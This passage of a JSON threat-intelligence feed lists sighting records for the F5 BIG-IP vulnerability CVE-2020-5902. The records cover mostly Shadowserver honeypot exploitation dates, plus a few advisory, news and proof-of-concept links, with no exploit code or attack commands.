"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-17)", "content": "", "creation_timestamp": "2025-10-17T00:00:00.000000Z"}, {"uuid": "8c27a9b5-09f8-42f9-9b5e-45e78bc703ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-15)", "content": "", "creation_timestamp": "2025-09-15T00:00:00.000000Z"}, {"uuid": "ddd95913-25c2-4415-8d25-0fb3081e6f53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-25)", "content": "", "creation_timestamp": "2025-08-25T00:00:00.000000Z"}, {"uuid": "7bf1818a-76da-44c4-a1a8-d9f90c35ef0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-29)", "content": "", "creation_timestamp": "2025-11-29T00:00:00.000000Z"}, {"uuid": "454475e3-5ca8-4237-80a3-dfcc43ecc9f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-18)", "content": "", "creation_timestamp": "2025-09-18T00:00:00.000000Z"}, {"uuid": "caa08c1d-106f-476a-bec3-787f32648b15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-14)", "content": "", "creation_timestamp": "2025-11-14T00:00:00.000000Z"}, {"uuid": "84c80a8a-5b3a-43e0-b933-f26bd3c784c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-26)", "content": "", "creation_timestamp": "2025-08-26T00:00:00.000000Z"}, {"uuid": "5babae1f-c477-4494-a65f-6ca9c71f22ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-27)", "content": "", "creation_timestamp": "2025-08-27T00:00:00.000000Z"}, {"uuid": "2f4079b9-e352-405f-af55-ad0570dc01d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-30)", "content": "", "creation_timestamp": "2025-09-30T00:00:00.000000Z"}, {"uuid": "d13376bf-4f93-42c3-b858-2e1ffb0f5024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-28)", "content": "", "creation_timestamp": "2025-08-28T00:00:00.000000Z"}, {"uuid": "b8b28698-a9ce-4a65-9c33-127ecf2c2c6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-11)", "content": "", "creation_timestamp": "2025-09-11T00:00:00.000000Z"}, {"uuid": "00031c24-8c84-438b-a9f8-fac7ba72cfce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-29)", "content": "", "creation_timestamp": "2025-08-29T00:00:00.000000Z"}, {"uuid": "bb5e32ab-c587-404a-bc59-5ce1387c111d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:13:16.000000Z"}, {"uuid": "049af6ae-39f6-45f6-910f-97c6c2efa28c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-30)", "content": "", "creation_timestamp": "2025-11-30T00:00:00.000000Z"}, {"uuid": "2f36f7da-ad15-4db8-8554-0f21eea8d961", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb", "content": "", "creation_timestamp": "2023-11-02T16:09:41.000000Z"}, {"uuid": "2e185c14-219f-48fc-bedb-4af45e6ba2aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-08-31)", "content": "", "creation_timestamp": "2025-08-31T00:00:00.000000Z"}, {"uuid": "cdc386ef-7a77-4174-adf2-2dfb401adc5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-01)", "content": "", "creation_timestamp": "2025-09-01T00:00:00.000000Z"}, {"uuid": "77cc074f-0e7d-4ef9-a9cc-92559a8958c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-02)", "content": "", "creation_timestamp": "2025-09-02T00:00:00.000000Z"}, {"uuid": "9e415f0f-ad9a-4b09-bc9d-bc8f2da6fdf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-03)", "content": "", "creation_timestamp": "2025-09-03T00:00:00.000000Z"}, {"uuid": "e5b9fb23-ffae-4659-9190-570aa74aa74a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-04)", "content": "", "creation_timestamp": "2025-11-04T00:00:00.000000Z"}, {"uuid": "4e60e7b3-9fe5-4794-83ab-9c646f0f4e32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-09-04)", "content": "", "creation_timestamp": "2025-09-04T00:00:00.000000Z"}, {"uuid": "42435ea0-75d0-4955-859c-e594af5df928", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-05)", "content": "", "creation_timestamp": "2026-03-05T00:00:00.000000Z"}, {"uuid": "423eb498-aa96-4d92-a68a-8537fac9f2ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-13)", "content": "", "creation_timestamp": "2026-02-13T00:00:00.000000Z"}, {"uuid": "26613a8c-0c94-4879-9a43-22bd4a153456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-10)", "content": "", "creation_timestamp": "2026-02-10T00:00:00.000000Z"}, {"uuid": "074388a4-9282-47c7-909a-0d3b54812ff9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-09)", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "447c1e3f-15b3-46f9-acd7-440c95152784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-22)", "content": "", "creation_timestamp": "2026-02-22T00:00:00.000000Z"}, {"uuid": "5f28b004-723d-4923-80ef-cf705449ee82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-12)", "content": "", "creation_timestamp": "2025-12-12T00:00:00.000000Z"}, {"uuid": "2edd85a7-bfcd-493b-86b2-740cce712fd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-16)", "content": "", "creation_timestamp": "2025-12-16T00:00:00.000000Z"}, {"uuid": "1f781bd0-4ffe-46b2-a2ba-92d016f03f79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-12-17)", "content": "", "creation_timestamp": "2025-12-17T00:00:00.000000Z"}, {"uuid": "247ce6b4-dcc9-4b49-a559-0ea4cb110bb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-09)", "content": "", "creation_timestamp": "2026-02-09T00:00:00.000000Z"}, {"uuid": "10fc150a-cdd0-4cf1-b355-d70e17b40966", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-18)", "content": "", "creation_timestamp": "2025-12-18T00:00:00.000000Z"}, {"uuid": "8308fb0e-72ea-48bd-89e1-2222ec82f923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-11)", "content": "", "creation_timestamp": "2026-02-11T00:00:00.000000Z"}, {"uuid": "c33d5c96-80f1-4cdf-923d-2a5b30f873e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-26)", "content": "", "creation_timestamp": "2026-02-26T00:00:00.000000Z"}, {"uuid": "00ddee65-12be-4400-88d4-8c8fa8398aaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-08)", "content": "", "creation_timestamp": "2026-02-08T00:00:00.000000Z"}, {"uuid": "d607a003-0adc-42b8-af7f-4be8223a4636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-04)", "content": "", "creation_timestamp": "2026-01-04T00:00:00.000000Z"}, {"uuid": "acafc28e-681d-48ef-be8c-3b49ed9eea68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-07)", "content": "", "creation_timestamp": "2026-03-07T00:00:00.000000Z"}, {"uuid": "f9d2cc0e-c72f-4964-835c-2beb1c1371cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-10)", "content": "", "creation_timestamp": "2026-03-10T00:00:00.000000Z"}, {"uuid": "80c893bf-34b6-4f41-84ac-635bc18acba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-19)", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "3c2e6259-9ef8-481c-a958-1ad66df7a988", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=492", "content": "", "creation_timestamp": "2020-07-03T04:00:00.000000Z"}, {"uuid": "3ae382e8-cb46-4efd-a8b0-ed55853c8700", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-23)", "content": "", "creation_timestamp": "2026-03-23T00:00:00.000000Z"}, {"uuid": "18f36d9e-4ed6-4285-ba80-d8961a6936ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-12)", "content": "", "creation_timestamp": "2026-03-12T00:00:00.000000Z"}, {"uuid": "4e73e296-93b8-4076-be14-b813ea0c8e91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-14)", "content": "", "creation_timestamp": "2026-03-14T00:00:00.000000Z"}, {"uuid": "4ca789fe-9f98-459d-8037-de7660e94174", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-14)", "content": "", "creation_timestamp": "2026-01-14T00:00:00.000000Z"}, {"uuid": "f11f33c9-2655-4fa4-b053-00c5f49a05c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-15)", "content": "", "creation_timestamp": "2026-01-15T00:00:00.000000Z"}, {"uuid": "06ce53f2-3205-4862-a200-bf2e2f8599b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-16)", "content": "", "creation_timestamp": "2026-01-16T00:00:00.000000Z"}, {"uuid": "04033a28-3137-480a-8332-f1e47f90bb75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-17)", "content": "", "creation_timestamp": "2026-01-17T00:00:00.000000Z"}, {"uuid": "8df1bf91-6708-4584-868c-23854622fbb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-18)", "content": "", "creation_timestamp": "2026-01-18T00:00:00.000000Z"}, {"uuid": "b35c1215-0353-45cd-b869-3806b0f7c708", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-19)", "content": "", "creation_timestamp": "2026-01-19T00:00:00.000000Z"}, {"uuid": "2beec483-86d7-45fd-8561-079c07a50e78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-20)", "content": "", "creation_timestamp": "2026-01-20T00:00:00.000000Z"}, {"uuid": "ceb8df48-774f-49d0-a325-29e7d7345e49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-21)", "content": "", "creation_timestamp": "2026-01-21T00:00:00.000000Z"}, {"uuid": "1208f734-2119-4e55-b617-c53b90da4fbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-22)", "content": "", "creation_timestamp": "2026-01-22T00:00:00.000000Z"}, {"uuid": "87c67902-6edc-478e-9582-90aa0f9b33a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-23)", "content": "", "creation_timestamp": "2026-01-23T00:00:00.000000Z"}, {"uuid": "3dfde0f2-6b85-4965-8ca9-75340c536df2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/4c92187f-8bd3-4205-85b3-a1a32d7f344b", "content": "", "creation_timestamp": "2026-02-02T12:28:43.680336Z"}, {"uuid": "dfe69eb5-3707-4b78-8da8-ccef4c269dab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-30)", "content": "", "creation_timestamp": "2026-03-30T00:00:00.000000Z"}, {"uuid": "218c67d3-4639-434d-b30e-c74cdc51a589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-31)", "content": "", "creation_timestamp": "2026-03-31T00:00:00.000000Z"}, {"uuid": "c278ec18-2f73-424e-8fa5-10778c5388a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-05)", "content": "", "creation_timestamp": "2026-04-05T00:00:00.000000Z"}, {"uuid": "7b4491f1-7d4d-443b-9ea2-c8e8db94ba45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-05)", "content": "", "creation_timestamp": "2026-04-05T00:00:00.000000Z"}, {"uuid": "f63582d8-feeb-4fdb-b4d6-7ad7d6adc6eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/cKure/2079", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 Contractor working for #Iran sells exploits to hackers.\n\nPulse Secure \"Connect\" enterprise VPNs (CVE-2019-11510)\n\nFortinet VPN servers running FortiOS (CVE-2018-13379)\n\nPalo Alto Networks \"Global Protect\" VPN servers (CVE-2019-1579)\n\nCitrix \"ADC\" servers and Citrix network gateways (CVE-2019-19781)\n\nF5 Networks BIG-IP load balancers (CVE-2020-5902)\n\nhttps://www.zdnet.com/google-amp/article/iranian-hackers-are-selling-access-to-compromised-companies-on-an-underground-forum/", "creation_timestamp": "2020-09-03T12:47:35.000000Z"}, {"uuid": "8829250a-7332-40ff-af65-bb4802eb5726", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://t.me/cKure/1743", "content": "\u25a0\u25a0\u25a1\u25a1\u25a1 #Iran \ud83c\uddee\ud83c\uddf7: According to the FBI, Iranian hackers are actively attempting to exploit an unauthenticated RCE flaw, tracked as CVE-2020-5902, in F5 Big-IP ADC devices.\n\n#CyberWar, #CyberAttack, #politics, #UnitedStates \ud83c\uddfa\ud83c\uddf8.", "creation_timestamp": "2020-08-09T03:39:24.000000Z"}, {"uuid": "e9d54f38-6397-4b6d-a2b1-91ecd1b92a9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/cKure/1253", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 Understanding the root cause of F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902\n\nhttps://research.nccgroup.com/2020/07/12/understanding-the-root-cause-of-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902/", "creation_timestamp": "2020-07-13T03:37:05.000000Z"}, {"uuid": "af7dc7a8-cc93-45ac-a0d8-56c5ee127eee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://t.me/cKure/1166", "content": "\u25a0\u25a0\u25a0\u25a0\u25a0 On CVE-2020-5902, new exploit including detection bypass attempt.\n\nhttps://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence\n\nSource: NccGroup", "creation_timestamp": "2020-07-07T19:26:51.000000Z"}, {"uuid": "ceabc532-066b-469b-bb1e-66654b86b803", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "https://t.me/cKure/1148", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 Mass exploitation being reported on F5's BIG-IP by nccgroup.\n\nhttps://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/amp/", "creation_timestamp": "2020-07-06T11:17:12.000000Z"}, {"uuid": "d43e59e3-b642-4039-8d50-0a8355997eaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-13)", "content": "", "creation_timestamp": "2026-04-13T00:00:00.000000Z"}, {"uuid": "112cc2f8-2423-435b-a116-ef13d4e67cbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-14)", "content": "", "creation_timestamp": "2026-04-14T00:00:00.000000Z"}, {"uuid": "fec3e573-8d8a-4461-a6a1-9108bfc36adb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "MISP/5f05da65-cd20-4836-979b-052a0a95120b", "content": "", "creation_timestamp": "2026-04-19T23:40:08.000000Z"}, {"uuid": "7f2d7b58-ce61-479b-aef7-750ba0593c70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2308", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2020-5902 CVE-2021-22986 CVE-2022-1388 POC\u96c6\u5408\nURL\uff1ahttps://github.com/west9b/F5-BIG-IP-POC\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-28T14:29:21.000000Z"}, {"uuid": "ec3f7788-4ef0-461e-9cfb-5d3a0ee1e428", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/CCNCERT/165", "content": "#Vulnerabilidad cr\u00edtica de ejecuci\u00f3n remota de c\u00f3digo en el producto BIG-IP, de @F5Networks. La vulnerabilidad, con CVE-2020-5902, se ubica en la interfaz TMUI (Traffic Management User Interface). https://t.co/f6k82KAhE8", "creation_timestamp": "2020-07-04T10:24:09.000000Z"}, {"uuid": "3176cbca-27b3-42a4-a4a0-6ed9011a287a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "published-proof-of-concept", "source": "Telegram/xFmPzaHMIwGC1UWi5mXdj1f4-XgUOHwTPycCpExdi4xLbB4", "content": "", "creation_timestamp": "2025-11-07T20:51:45.000000Z"}, {"uuid": "2ad6caac-7694-45bc-aa25-76bb3e88c2a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 